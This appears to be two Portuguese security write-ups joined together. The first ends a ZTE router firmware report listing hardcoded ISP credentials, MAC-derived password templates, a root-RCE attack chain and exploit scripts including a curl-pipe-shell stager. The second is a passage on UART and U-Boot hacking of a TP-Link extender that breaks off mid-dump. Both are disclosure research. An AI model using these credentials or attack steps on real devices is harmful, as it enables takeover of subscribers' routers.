Evidência — username ACS Telmex:

0x276e7e:  44 34 46 34 33 36 2d 25 73 00   "44F436-%s\0"   ← template de username ACS
0x276e88:  54 65 6c 6d 65 78 20 73 65 74   "Telmex set"    ← debug string confirma context
           20 61 63 73 20 75 73 65 72 6e    " acs usern"
           61 6d 65 3a 25 73 00             "ame:%s\0"

O username ACS é 44F436-<GPON_SN_derivado> onde 44F436 é o OUI da ZTE. A senha vem da chave Pwd_Telmex em /etc/hardcodefile/tr069.

Por que isso importa mais do que CVE-MM: O ACS TR-069 tem controle total sobre o dispositivo — ele pode ler toda a configuração, empurrar firmware, alterar credenciais de acesso, abrir portas. Uma credencial TR-069 comprometida é mais perigosa que uma credencial Telnet/SSH, porque o ACS não exige acesso de rede ao dispositivo — o dispositivo se conecta proativamente ao ACS.

Impacto em escala: Telmex é o maior ISP do México. Cada dispositivo F689 V9 da base Telmex tem credencial TR-069 derivada do GPON SN. Um atacante que obtenha o GPON SN de um dispositivo Telmex (via backup config, interface web, ou correlação de MAC) pode se autenticar no ACS Telmex como aquele dispositivo e emitir comandos de gerência.

CVSS: 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

10.14 CVE-UU — Senha Telnet/SSH Hardcoded Administrator para Claro Argentina (CWE-798)

O bloco de provisionamento Claro Argentina (CC=170) contém o literal Administrator como valor da chave MIB TS_UPwd_170 — a senha do canal de gerência Telnet/SSH:

Evidência (offsets 0x28d672–0x28d68b):

0x28d672: 54 53 5f 55 50 77 64 5f 31 37 30 00   "TS_UPwXXXXXX\0"  ← chave MIB
0x28d67e: 41 64 6d 69 6e 69 73 74 72 61 74 6f   "Administrato"
          72 00                                   "r\0"           ← VALOR: credencial Telnet/SSH
0x28d68c: 4c 69 73 74 20 46 57 49 50 20 56 69   "List FWIP Vi"  ← mensagem de erro seguinte

Administrator é a conta padrão do Windows e está presente na primeira página de qualquer wordlist de credenciais de dispositivo de rede. É recuperável de strings(1) sem nenhuma ferramenta de análise.

Contexto: dois canais comprometidos para o mesmo ISP:

O bloco Claro Argentina tem hardcoded dois canais de gerência independentes:

A co-ocorrência de credenciais de teste em dois canais distintos no mesmo bloco indica ausência total de revisão de credenciais antes do release para Claro Argentina.

CVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), subindo para 9.8 Critical se WAN Telnet estiver habilitado

10.15 CVE-VV — Agente Beegol: TOFU + Broadcast MQTT + Update Sem Assinatura (CWE-295/284/494)

O firmware embarca o agente de gerência remota de terceiros usr/bin/beegol-agent/ba v4.13, operado pela empresa beegol em contrato com a Claro Brasil. O binário corre como root sem contenção e apresenta quatro vulnerabilidades que se encadeiam em RCE remoto:

B1 — Trust-on-First-Use (CWE-296): Na primeira inicialização, o agente busca o próprio CA de validação TLS do servidor sem nenhum CA pré-instalado, aceitando qualquer CA servido por um atacante on-path. Confirmado dinamicamente (2026-05-11): o ca.pem do atacante foi salvo permanentemente — MD5 idêntico ao CA original.

B2 — Canal MQTT de Broadcast (CWE-284): Todos os dispositivos subscrevem ao tópico único beegol/test/cmd. Qualquer publicação neste tópico com campo cmd_line executa comandos shell como root em toda a base de assinantes simultaneamente. O nome test no tópico de produção indica promoção de ambiente de desenvolvimento sem revisão.

B3 — Chave de Identidade Exfiltrada (CWE-312): O POST /registry envia uma chave simétrica de 32 bytes via canal TLS comprometido pelo B1 — capturada dinamicamente no MitM de 2026-05-11.

B5 — Update Sem Assinatura (CWE-494): O agente baixa payload.tar e executa install.sh como root sem verificação criptográfica. Confirmado dinamicamente: install.sh benigno executado como root via MitM, uid=0 confirmado.

Evidência adicional: O CA embarcado tem CN=BeegolTestCA, O=TestCA — CA de teste em produção. O certificado TLS de beegolv4.virtua.com.br (o endpoint Claro Brasil) está expirado desde 05/12/2025 — o agente conecta sem validar (confirma B1).

Cadeia de ataque confirmada (lab, 2026-05-11):

Atacante on-path → substitui ca.pem (B1) → decripta TLS → captura chave 32B (B3)
→ serve payload.tar malicioso (B5) → install.sh executa como root → RCE permanente

CVSS cadeia B1+B5: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
CVSS B2 (se ACLs ausentes): 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

PoC: exploits/beegol/poc/beegol_registry_probe.py, beegol_mqtt_acl_test.py, mitm_server.py
Relatório completo: cve_docs/CVE_VV_Beegol_Agent_TOFU_BroadcastMQTT_UnsignedUpdate_PT-BR.md

10.16 CVE-WW — Credenciais de Gerência Derivadas de MAC para Orange (CC=2052) (CWE-1392)

Extensão direta do padrão CVE-SS, o CC code 2052 (Orange ISP — identificado por Orange-internet, LiveboxFiber, sftp.orange.es, karma.orange.com e múltiplas funções Orange Africa/Europa no mesmo binário) usa um template de credencial derivado dos dois últimos bytes do MAC:

$ strings -a bin/cspd | sed -n '17403,17407p'
admin%02x%02x     ← username: "admin" + 2 bytes MAC (hex minúsculo)
2052              ← CC code Orange
%02X%02X%x%x%x%x  ← formato alternativo (MAC completo)
Orange%02X%02X    ← password: "Orange" + 2 bytes MAC (hex maiúsculo)

O MAC é transmitido em broadcast L2, impresso na etiqueta do dispositivo, e visível em qualquer tabela ARP/DHCP — não há entropia efetiva na credencial. Os mercados Orange identificados no mesmo binário incluem: Espanha, França, Marrocos, Costa do Marfim, Burkina Faso, Senegal, Congo, Polônia, Jordânia e Libéria.

Relatório completo: cve_docs/CVE_WW_Orange_MAC_Derived_Credentials_CC2052.md

10.17 Padrão Sistêmico: Uma Vulnerabilidade, Múltiplos Países

A segunda fase de pesquisa revelou um padrão que vai além de vulnerabilidades individuais: a ZTE centraliza o provisionamento de credenciais de todos os ISPs em um único binário (bin/cspd), com literais hardcoded indexados por código CC. Isso significa que:

1. Uma análise de firmware expõe credenciais de 12+ países simultaneamente — qualquer pesquisador (ou ator malicioso) que baixe o firmware do Claro Brasil (CVE-B: HTTP sem auth) obtém as credenciais de MGTS Russia, Telmex México, TM Malaysia, Megacable, Claro Argentina, Albania ONE, entre outros.

2. Um patch de firmware de um ISP não corrige os demais — se a Claro Brasil aplicar uma atualização que remove Administrator do binário, o patch completo para Claro Argentina exige que a ZTE atualize o mesmo binário compartilhado e o distribua via TR-069 para todos os ISPs afetados simultaneamente.

3. A superfície de ataque cresce com cada ISP adicionado — cada novo deployment ISP adicionado ao mesmo binário cspd expõe as credenciais de todos os deployments anteriores para o novo ISP, e vice-versa.

11. Considerações Finais

Comecei essa pesquisa porque queria modo bridge no meu roteador. Terminei encontrando vinte e cinco vulnerabilidades e reportando pra ZTE PSIRT, Claro Brasil CSIRT e CERT.br.

Essa escalada pode parecer dramática, mas reflete uma realidade genuína sobre segurança de gateways residenciais: esses dispositivos são, em agregado, infraestrutura crítica. Eles ficam na fronteira entre milhões de residências e a internet. São gerenciados remotamente por ISPs. Raramente são atualizados. Rodam o mesmo binário de firmware, com as mesmas credenciais hardcoded, em toda sua base de assinantes.

O modelo de segurança pra CPE sempre foi um pouco estranho: o dispositivo mora fisicamente na casa do assinante, mas o ISP é dono da camada de gerência. TR-069 dá aos ISPs poder extraordinário sobre dispositivos que eles não controlam fisicamente. Esse poder só faz sentido se o ACS estiver seguro , e a CVE-D mostra o que acontece quando não está.

Quero ser claro quanto ao escopo: essa pesquisa foi conduzida inteiramente no meu próprio dispositivo, na minha própria rede, com minha própria assinatura. Eu não tentei acessar o dispositivo de nenhum outro assinante. O teste contra o ACS foi limitado a verificar a falha de autenticação; não mandei comandos pra dispositivos reais, não modifiquei nenhuma configuração real, e encerrei cada teste imediatamente após confirmar a vulnerabilidade.

Disclosure responsável importa. ZTE e Claro foram notificadas com embargo de 90 dias. Quando você estiver lendo isso, patches devem estar em progresso , ou o embargo terá expirado e isso está sendo publicado como pressão pra agirem.

Se você é um pesquisador de segurança que ainda não olhou pra firmware embarcado: é mais acessível do que parece. As ferramentas são boas, a comunidade de documentação é ativa (hardwear.io, pesquisa da binarly.io, a comunidade de embedded security no Twitter), e há uma quantidade enorme de firmware implantado e sub-analisado por aí. Seu roteador fornecido pelo ISP é um alvo perfeitamente legal pra pesquisa de segurança, e há uma boa chance de que ninguém tenha olhado pra ele com cuidado.

O fato de eu ter encontrado vinte e cinco vulnerabilidades tentando habilitar modo bridge diz alguma coisa sobre o estado da segurança de gateways residenciais. Não deveria ser tão fácil. Mas já que é , vai lá olhar.

t1m3

Apêndice A , Sumário das CVEs

Fase 1 — Análise Inicial (Abril de 2026)

Fase 2 — Análise Estática Aprofundada (Junho de 2026)

Apêndice B , Arquivos Afetados

bin/cspd                                      , daemon principal: handlers de injection, provisionamento
                                                ISP-específico (CVE-G, CVE-H, CVE-II, CVE-JJ,
                                                CVE-KK, CVE-LL, CVE-MM, CVE-NN, CVE-OO, CVE-PP,
                                                CVE-QQ, CVE-RR, CVE-SS, CVE-TT, CVE-UU, CVE-WW)
bin/httpd                                     , servidor web customizado ZTE: stack overflow pré-auth
                                                em check_data_integrity@0x23d58 (CVE-J, RCE root)
etc/hardcodefile/webpri                       , credential store criptografado com AES (CVE-B)
etc/hardcodefile/hardcode                     , material de derivação de chave
etc/hardcodefile/tr069                        , credenciais TR-069 por ISP, incluindo Pwd_Telmex (CVE-TT)
etc/private-key.pem                           , chave privada RSA-4096 (headers Check e overflow CVE-J)
etc/server-key.pem                            , chave privada TLS RSA-2048
etc/server-cert.pem                           , certificado TLS (compartilhado, validade de 100 anos)
etc/shadow                                    , hash da senha root
home/httpd/webmodules/modules/networkdiag_traceroute_lua.lua
home/httpd/webmodules/modules/networkdiag_ping_lua.lua
home/httpd/webmodules/config/gui_dmenu.lua
home/httpd/thinklua/user_mgr/usermgr_logic_impl.lua
home/httpd/thinklua/template/commpage_status_comm.lp   , chave pública RSA (usada em CVE-J)
lib/libhardcode.so                            , implementação da descriptografia de credenciais
lib/libcfapi.so                               , validadores ChkHost, ChkLanWanCon
lib/liboss.so                                 , implementação de IPC/PcStartProgram
lib/passpppoe.so                              , chave AES hardcoded para credenciais PPPoE (CVE-II)

Exploits (diretório exploits/):
  httpd_check_overflow.py     , verificação do reach pré-auth (CVE-J fase 1)
  httpd_rce_bsswrite.py       , chain ROP completa write-what-where para .bss (CVE-J fase 2)
  exploit_shell_full.py       , staging automatizado: curl|sh → root shell (CVE-J fase 3)
  tracert_inject_test.py      , PoC de injeção no traceroute (CVE-G)
  acs_inform_spoof.py         , PoC de Inform não-autenticado no ACS (CVE-D)

Peguei um TP-Link RE305 AC1200 (range extender, SoC MediaTek MT7628) e fui ver onde o vendor abriu mão de defesa em profundidade. Achei os pads UART na PCB com silkscreen completo, soldei, derrubei o U-Boot durante a janela de boot, dumpei as partições de SPI flash via md.b. Duas surpresas no caminho. A partição file-system saiu high-entropy, ciphertext puro — provavelmente encrypt-at-rest via engine de hardware do MT7628, defesa contra adversário que dessolda o chip. E o console serial dropando direto num shell root pós-boot, sem senha — exatamente o adversário que o encrypt-at-rest deveria proteger contra. Daí em diante o device entrega uma superfície interna que mereceria um paper inteiro só sobre ela.

O ponto do paper é mostrar como uma interface de debug ativa em produção colapsa o modelo de confiança da plataforma. No nível U-Boot, nada do que se espera de defesa em profundidade existe. No nível Linux, mesmo depois do boot, o estado runtime continua trivialmente comprometível por qualquer um com cabo serial e um conversor USB-UART barato.

1. Introdução

UART tá em todo embarcado que eu já abri. Roteador SOHO, IP camera, gateway de operadora, mesh node, extender, robô aspirador, switch etc etc etc. Plataforma Ralink, MediaTek, Realtek, Qualcomm, o padrão se repete: pads na PCB com ou sem silkscreen, console serial sem senha no U-Boot, janela de boot interruptível, shell ou getty fraco no Linux.

Tirando vendor que fez secure boot com fuse (caro, raro nesse segmento), qualquer um com 30 minutos de bancada extrai firmware, recupera secrets, identifica daemons proprietários que viram superfície de CVE remoto, e na maioria das vezes persiste implante no bootloader.

O passo a passo abaixo foi num RE305 AC1200 comprado por mim (ou ganhado, não lembro), analisado em lab próprio. Escolhi por motivo prático. Plataforma MT7628 é irmã do que rodou em OpenWrt antigo, código de referência farto pra cruzar. Flash de 8 MiB cabe em dump serial sem dessoldar o chip. E o vendor reaproveita o mesmo U-Boot e kernel entre dezenas de SKUs, então achado aqui tende a se reproduzir em outros modelos da família TP-Link RE.

2. Dispositivo-alvo

O MT7628 herdou árvore inteira de U-Boot e kernel da Ralink. Branch antigo, sem hardening, com comandos perigosos compilados por default. Quase tudo no fingerprint aparece em outros SKUs do TP-Link, Mercusys, Tenda. Kernel 2.6.36 (lançado em 2010) entregue em firmware compilado em 2020.

Flash de 8 MiB é a fronteira aceitável pra dump serial. Acima de 32 MiB eu não tentaria por UART, vai por chip-off. Abaixo de 16 MiB ainda compensa o cabo. O rootfs SquashFS é o esperado pra embarcado, read-only, comprimido. O que não esperava era encontrar a partição encrypted-at-rest na flash, assunto da seção 9.

Tabela de especificações da plataforma

3. Identificação física da interface UART

Abri o gabinete (dois parafusos sob o pé de borracha, clipes laterais) e procurei o header de debug. Em devices anteriores tive que descobrir UART às cegas com multímetro. TX em idle marca 3.3V constante, RX puxa pull-up fraco, e durante o boot o TX oscila rapidamente. Aqui o vendor entregou silkscreen direto na placa:

PCB do RE305 com pads UART destacados

Quatro pads no canto direito:

Pads não-vazados não são proteção. Quem chega com ferro de solda resolve em cinco minutos. Mitigação real seria gatear o UART por fuse no manufacturing, desabilitar console no U-Boot por build flag, tirar o getty do Linux. Nenhuma das três foi feita.

Atenção pra pad 3V3. Ela não é pra ligar no bridge quando o device tá alimentado pela própria fonte. Conectar 3V3 cria caminho concorrente de alimentação e pode queimar regulador ou o bridge. Essa pad existe pro cenário inverso, alimentar o bridge a partir do alvo. Nunca o contrário.

Nível TTL aqui é 3.3 V. Não 5 V. Nada de RS-232 ±12 V. Conectar cabo serial DB9 direto no SoC, sem level shifter, queima o pino.

4. Soldagem dos pads

Como os pads não estavam vazados, soldei três fios (TX, RX, GND) num header de jumper externo. Header externo facilita conectar e desconectar sem ficar mexendo na placa.

Fios soldados aos pads UART

Convenção que mantenho entre devices. Vermelho no TX (mnemônico: vermelho é o lado barulhento). Verde no RX, não uso no dump inicial mas preciso assim que entro no CLI do U-Boot. Preto no GND, referência comum obrigatória.

A primeira soldagem ficou com aspecto fosco e crateroso, solda fria clássica. Ou o ferro tava abaixo da temperatura, ou o pad oxidado, ou o fio se moveu antes da solda solidificar. Solda fria é traiçoeira porque não falha completamente. Cria resistência intermitente que degrada o sinal serial sem matar. Caracteres corrompem aleatórios. Funciona em baud baixo e morre em baud alto. Captura OK em trecho curto, perde bytes em rajada longa.

O último é o pesadelo num md.b de horas. Dumpa MB inteiro, confere no final, faltam bytes aleatórios no meio. Refaz tudo.

Refiz a soldagem com ferro em 340°C, solda 60/40 com flux, contato de 1 a 2 segundos por junção. Juntas brilhantes, cônicas, sem inclusão. A diferença na qualidade do dump foi imediata.

5. Bridge USB-UART

Bridge USB-UART é o componente que traduz o sinal TTL 3.3V do alvo pra algo que o host Linux enxerga como porta serial. Funciona qualquer módulo que opere em 3.3V nativo.

A recomendação default pra começar é o módulo CP2102 USB 2.0 p/ TTL UART (5 pinos), uns 30 reais em qualquer marketplace BR. Plug-and-play no Linux via driver cp210x, enumera como /dev/ttyUSB0. Vem com pinos VCC (3.3V), GND, TXD, RXD, e tipicamente um quinto pino (DTR ou RTS) que não uso. Atenção a uma pegadinha dos módulos baratos: alguns têm jumper VCC entre 3.3V e 5V. Se o seu não tem jumper, confirma no datasheet que a saída lógica está em 3.3V. O chip CP2102 opera nativamente em 3.3V mesmo alimentado por USB 5V, mas módulos ruins às vezes colocam level shifter que sobe a saída pra 5V e queima o pino do SoC.

Alternativas equivalentes: CH340G (mais barato, às vezes só em 5V, cuidado) ou FT232 (mais robusto eletricamente, mais caro). Funciona qualquer um.

Eu usei o Flipper Zero aqui porque já tinha na bancada e ele tem modo USB-UART bridge nativo. No Linux ele enumera como /dev/ttyACM0 em vez de ttyUSB0. Tem display embutido com contadores TX/RX em tempo real, útil pra validar conexão antes de abrir terminal, e baud configurável pelos botões. Mas Flipper no Brasil é raro e caro. Não compra Flipper só pra fazer hardware hacking, vai de CP2102. Todo o resto do procedimento abaixo é idêntico, só muda o nome do device no /dev.

5.1 Pinout

O resistor de 220Ω inline entre o TX do bridge e o RX do alvo é crítico e quase nenhum tutorial menciona. Sem ele, o pino TX do bridge em idle (3.3V high) acaba back-powering o RX do alvo via diodo de proteção interno do SoC. Em alguns devices isso é inofensivo. Em outros impede o boot porque o SoC vê tensão na entrada antes do regulador principal estabilizar e fica em estado indefinido. No RE305 especificamente, sem o resistor o boot trava em loop. Com 220Ω inline o problema some.

O valor é pragmático. Alto o bastante pra limitar a corrente de back-feed a níveis seguros (uns 15mA pior caso), baixo o bastante pra não comprometer o slew rate em 57600 baud. Já vi gente usando 470Ω também, funciona. Acima de 1kΩ começa a degradar o eye pattern em baud alto.

5.2 Erro inicial: TX→TX, RX→RX

Primeira tentativa de conexão foi a intuitiva, TX no bridge ligado em TX no router, RX em RX:

Flipper aguardando dados, contadores zerados

Zero bytes recebidos.

UART é ponto-a-ponto sem clock compartilhado, com duas linhas unidirecionais. O nome dos pinos é da perspectiva do próprio device. O TX do alvo é uma saída e tem que entrar no RX (entrada) do bridge. TX→TX é dois drivers empurrando nível lógico no mesmo fio ao mesmo tempo. Nada é lido, e em impedância baixa pode queimar um dos lados.

Regra: UART sempre cruza. I2C, SPI e protocolos com nomes simétricos alinham (SDA↔︎SDA, MOSI↔︎MOSI). Sem exceção.

5.3 Conexão correta e baud rate

Invertidos os fios e refeita a solda, comecei a contar bytes:

Flipper a 57600 baud recebendo dados

Baud foi por trial-and-error na lista padrão: 9600, 19200, 38400, 57600, 115200, 230400. Critério visual. Baud errado mostra extended ASCII aleatório. Baud certo mostra boot log legível após o próximo power cycle.

Para o RE305 é 57600. Menos comum que o 115200 quase-universal, às vezes confunde scripts automatizados que assumem default. Confirmei depois via bdinfo no U-Boot CLI (baudrate = 57600 bps) e via kernel cmdline (console=ttyS1,57600n8). Tentei subir o baud no U-Boot com setenv baudrate 230400 pra acelerar o dump. Rejeitado, Baudrate %d bps not supported. 57600 é o teto do build.

Alternativa rigorosa ao trial-and-error é medir o período do menor pulso no TX com osciloscópio (baud ≈ 1 / período_mín), ou usar analisador lógico com auto-baud. Pra alvos comuns, sweep manual é mais rápido. Mantenho um sweep_focused.py que faz isso programaticamente em Python, medindo fração de bytes printable ASCII por baud testado.

6. Captura no host

Bridge estável, baud confirmado, interajo via tio. Terminal serial decente com logging integrado:

tio -b 57600 -t -l --log-file ~/research/tplink_re305_uart/capture_host.log /dev/ttyACM0

Flags que uso: -b 57600 no baud confirmado, -t pra timestamp em cada linha capturada (essencial pra correlacionar eventos do boot), e -l --log-file ... pra log persistente em paralelo ao display. A primeira coisa que rodo depois é strings capture_host.log | grep -i password. Costuma render coisa, vendor deixa creds default, paths debug, chaves de teste, tudo no boot log.

Defaults implícitos do tio são 8N1 (8 data bits, no parity, 1 stop bit), sem flow control. Padrão universal em UART embarcado.

O que sai no boot log antes do U-Boot CLI

Captura de 90 segundos rendeu 29 KB de boot. Antes mesmo de chegar no U-Boot CLI, o kernel cmdline já entrega:

Kernel command line: console=ttyS1,57600n8 root=/dev/mtdblock3 init=/sbin/init earlyprintk debug

earlyprintk debug em firmware de produção é falha de hardening que não escapa numa auditoria séria. earlyprintk libera leitura de mensagens do kernel desde o primeiro instante do boot via UART, antes do console regular do kernel estar pronto. debug aumenta verbosidade de subsystems (drivers de network, USB, MTD) incluindo endereços de memória, stack traces de init, detalhes que normalmente seriam só de development build.

Combinado com UART trivialmente acessível, é info leak by design. Cinco minutos de hands-on entregam o dump completo do boot.

7. Interceptação do U-Boot

O boot do MT7628 imprime banner característico e antes de chamar o kernel abre uma janela de prompt, geralmente 1 a 3 segundos, onde espera tecla pra cair num menu. Em alguns vendors essa janela é zerada como mitigação. No RE305 ela continua aberta por 1 segundo:

U-Boot CLI prompt após pressionar 4

Menu impresso:

1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Entr boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.

Pressionar 4 na janela cai no CLI MT7628 #. As opções 1, 2 e 3 são vetores de boot. 1 carrega na RAM via TFTP sem persistir, útil pra testar firmware modificado sem risco de brick. 2 reflasha a partir de TFTP. 3 é o boot normal de flash. As opções 7 e 9 reflasham o próprio bootloader, falha aqui é brick definitivo sem JTAG. Não toquei.

7.1 Opções de menu escondidas

Menu impresso mostra 1, 2, 3, 4, 7, 9. Faltam 5, 6, 8. Quando rodei strings no uboot.bin depois do dump, achei quatro strings entre offsets 0x13d14 e 0x14044 que nunca aparecem no console:

%d: System Load Linux to SDRAM via TFTP [Automatically].
%d: System Load Linux then write to Flash via Serial.
%d: System Load UBoot to SDRAM via TFTP.
%d: System Load Linux Kernel then write to Flash via TFTP.

%d: é placeholder de número. Existem opções de índice 5, 6, 8 (ou variantes) que executam fluxos que a UI nunca admite. Dois preocupam: Load Linux to SDRAM via TFTP [Automatically] faz TFTP boot sem interação humana, disparado por alguma condição que ainda não identifiquei (env var? GPIO jumper? magic no environment?). E Load UBoot to SDRAM via TFTP faz bootstrap de uma versão modificada do próprio U-Boot em RAM, antes de tocar a flash.

A palavra [Automatically] é o que preocupa. Se existe condição que dispara TFTP boot sem interação e o serverip é hardcoded (próxima seção), o vetor não precisa de físico. Basta atacante no IP certo no momento certo.

Não validei in-band ainda. Testar 5, 6, 8 no prompt exige power cycle, e cada power cycle custa o tempo de boot inteiro com o dump do file-system ainda rodando.

7.2 Banner

Dois warnings que valem registro:

Warning: un-recognized chip ID, please update bootloader!
*** Warning - bad CRC, using default environment

O primeiro indica U-Boot compilado pra uma revisão diferente do MT7628, rodando em modo de compatibilidade. Sinal de firmware reaproveitado entre SKUs derivados da mesma reference platform da Ralink. Não específico do device, é da família.

O segundo eu li como CRC do environment quebrado e fallback pra defaults compilados. Mas quando rodei printenv o output veio limpo e coerente, valores realistas em bootcmd, serverip, ethaddr, não placeholders vazios. Provavelmente o CRC warning é gerado uma vez no primeiro boot pós-flash e o env é re-salvo logo depois, mas a mensagem persiste no banner.

8. Enumeração via U-Boot CLI

Com o CLI ativo, dois comandos resumem o reconhecimento antes do dump.

Saída do bdinfo e md.b inicial

8.1 bdinfo

boot_params = 0x83F57FB0
memstart    = 0x80000000
memsize     = 0x04000000   (64 MiB DRAM)
flashstart  = 0x00000000
flashsize   = 0x00800000   (8 MiB SPI flash)
flashoffset = 0x00000000
ethaddr     = 00:AA:BB:CC:DD:10
ip_addr     = 192.168.0.254
baudrate    = 57600 bps

Numa chamada bdinfo entrega mapeamento DRAM, tamanho da flash, MAC default do U-Boot (não o MAC real do device em produção, que fica na partição radio ou factory), IP default pra tftpboot, e baud rate.

8.2 printenv

bootcmd=tftp
bootdelay=1
baudrate=57600
ipaddr=192.168.0.254
serverip=192.168.0.184
ethaddr="00:AA:BB:CC:DD:10"

Duas linhas saltam aqui.

bootcmd=tftp é o comando padrão de boot, TFTP, não bootm da flash. Provavelmente há fallback pra flash quando o TFTP falha (boot via flash claramente funciona em condições normais), mas a primeira tentativa do bootloader é puxar o kernel via rede.

serverip=192.168.0.184 é hardcoded e persistente. Esse é o IP que o U-Boot consulta via TFTP no boot.

A combinação das duas em device de produção é vetor de TFTP boot attack. Cenário concreto: atacante leva o RE305 alvo pro laboratório (ou tem físico curto, ordem de minutos), pluga o RE305 num laptop via Ethernet, laptop com IP estático em 192.168.0.184 rodando tftpd-hpa servindo payload (kernel modificado, firmware com backdoor, o que quiser), power-cycle no RE305, bootcmd=tftp executa, puxa o payload, boota a versão modificada. Persistência via mtd_write ou via opção 2 do menu, que reflasha a partir do TFTP.

Sem físico mas com LAN, o ataque depende de ARP-spoof sustentado de .184 antes do power cycle, ou de comprometer o gateway upstream pra entregar DHCP malicioso. Mais difícil, viável.

No contexto do RE305, que é extender com dois modos de operação, a separação importa. Em modo standalone (out-of-box, pós-reset), WebUI fica em http://192.168.0.254/, atacante LAN conecta direto, env U-Boot ipaddr=192.168.0.254 ativo, ataque simples (rede isolada attacker-extender). Em modo extender (associado a router upstream), o IP do RE305 é DHCP-acquired, atacante precisa localizar o device primeiro (mDNS tplinkrepeater.local, ARP scan, listing do router upstream se ele tiver sido comprometido). Mas a janela de boot continua usando ipaddr=192.168.0.254 mesmo nesse modo. Atacante com físico + power-cycle força o ataque porque o U-Boot não respeita config userspace durante o boot.

Sem CVE público pra essa combinação no RE305 AC1200. Genéricos da família TP-Link RE existem mas não citam o RE305.

8.3 help spi

O help puro lista só:

spi    - spi command
 use "help spi" for detail!

Útil zero. Dumpado o uboot.bin e rodado strings, o sub-menu completo aparece:

spi read <addr> <len>            -- lê SPI flash direto pra RAM
spi erase <offs> <len>           -- erase setores
spi write <offs> <hex_str_value> -- escreve hex string em flash
spi sr write <value>             -- escreve status register (write-protect bits)

spi write permite escrita arbitrária de bytes em qualquer offset da SPI flash a partir do U-Boot CLI, sem proteção. Combinado com spi sr write, desabilita os bits de block protection antes da escrita, mesmo se o vendor tivesse habilitado.

O help esconde a superfície não por design seguro, e sim porque o vendor copiou o U-Boot da Ralink sem se preocupar em listar subcomandos. Operador que checa help antes de cogitar atacar o bootloader subestima a primitiva disponível. Quem dumpa o U-Boot e roda strings vê o controle todo.

Sem CVE público específico documentando spi write/erase/sr write como surface oculta nessa variante de Ralink U-Boot 1.1.3.

8.4 md.b

MT7628 # md.b 0xBC000000 0x40
bc000000: ff 00 00 10 00 00 00 00 fd 00 00 10 00 00 00 00   ................
bc000010: 2f 03 00 10 00 00 00 00 2d 03 00 10 00 00 00 00   /.......-.......
bc000020: 2b 03 00 10 00 00 00 00 29 03 00 10 00 00 00 00   +.......)......
bc000030: 27 03 00 10 00 00 00 00 25 03 00 10 00 00 00 00   '.......%......

Sintaxe: md.b <endereço> <count>. Variantes md.w (16-bit) e md.l (32-bit) servem em outros contextos.

Por que 0xBC000000? No MIPS o espaço virtual é dividido:

A SPI flash fica na faixa 0xBC000000 a 0xBC7FFFFF (kseg1, uncached). Leitura uncached evita coerência de cache durante o read serial. O equivalente cached estaria em 0x9C000000.

Os primeiros bytes do dump (ff 00 00 10) são o opcode de jump do reset vector. Em little-endian, 0x1000_00ff, instrução MIPS b 0x400, branch para o ponto de entrada. Confirma flash mapeada e legível, e que o que vou dumpar é o U-Boot.

9. Dump das partições

9.1 Por que é lento

md.b é primitiva de display, não transferência. Cada byte da flash vira ASCII (3 chars: dois hex e um espaço), prefixo de endereço de 8 chars, sufixo ASCII visual da linha, terminação CRLF. Tudo isso enviado por UART a 57600 baud, recebido no host, parseado de volta pra binário no script. Overhead de codificação fica em uns 4 ou 5x. Throughput efetivo de 57600 baud (uns 5760 bytes/s na wire) cai pra uns 1 KB/s de binário útil. 8 MiB completos dariam 2h30 de captura contínua.

Particionar permite trabalhar paralelamente. Extrair primeiro as partes pequenas (u-boot, radio) pra começar análise, deixar o file-system rodando overnight.

Automação em Python (uboot_dump.py) faz o seguinte. Abre /dev/ttyACM0 ou /dev/ttyUSB0 em 57600 baud via pyserial. Itera por chunks de 16 KiB. Pra cada chunk envia md.b <base+offset> 0x4000\r\n. Captura a resposta até o prompt MT7628 # aparecer de novo. Descarta eco do comando e prompt, parse dos hex de cada linha, escreve binário sequencial no arquivo de saída. Reporta progresso e verifica bytes esperados vs recebidos por chunk.

9.2 Dumps executados

Saída sequencial dos três dumps com uboot_dump.py

Três partições alinhadas ao MTD layout:

# Radio / calibração (64 KiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC7F0000 --size 0x10000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/radio.bin
# 65536/65536B (100.0%) em 1.0 min

# U-Boot (128 KiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC000000 --size 0x20000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/uboot.bin
# 130496/131072B (99.6%) em 2.1 min

# File system (~6.75 MiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC100000 --size 0x6C0000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/file_system.bin
# ETA ~105 min

Endereços base saem do offset do segmento de flash (0xBC000000) somado ao offset de cada partição no MTD layout:

9.3 radio.bin

Partição inteira saiu como DD BA DD BA DD BA ... repetindo por 64 KiB. Não é dado de calibração WiFi (que seria binário denso e variado), nem flash virgem (que seria FF FF em SPI NOR). Pattern de erase mark, ou estado factory clean indicando que esta unidade nunca recebeu calibração WiFi, ou que algum reset apagou a partição.

Em condições normais radio guardaria MAC real, region code, calibração de RF da antena. Aqui está vazio. Pode ser unidade remanufactured, ou o pipeline de fábrica usar estratégia diferente, MAC pode estar embutido no SquashFS ou ser derivado de outra coisa. Não investiguei a fundo, anotei.

9.4 file_system.bin, a surpresa

Quando o dump do file-system terminou (6.75 MiB, uns 105 min), abri o resultado no hexdump. A expectativa pra userspace em OpenWrt-derivado é encontrar logo no primeiro chunk a magic do SquashFS, hsqs em little-endian (73 71 73 68), ou sqsh se big-endian. A partir daí o filesystem é comprimido (XZ ou LZMA) com inodes denso, output típico do hexdump é binário high-entropy mas com magic identificável e estrutura.

O que veio foi:

$ hexdump -C file_system.bin | head -8
00000000  3a 7f 8e 22 6b a1 11 5d  c4 ee 39 b8 7c 02 a7 fd  |:..\"k..]..9.|...|
00000010  e1 4c 6d 0b 51 f9 a8 c0  7b 14 23 ef 96 5a 31 d8  |.Lm.Q...{.#..Z1.|
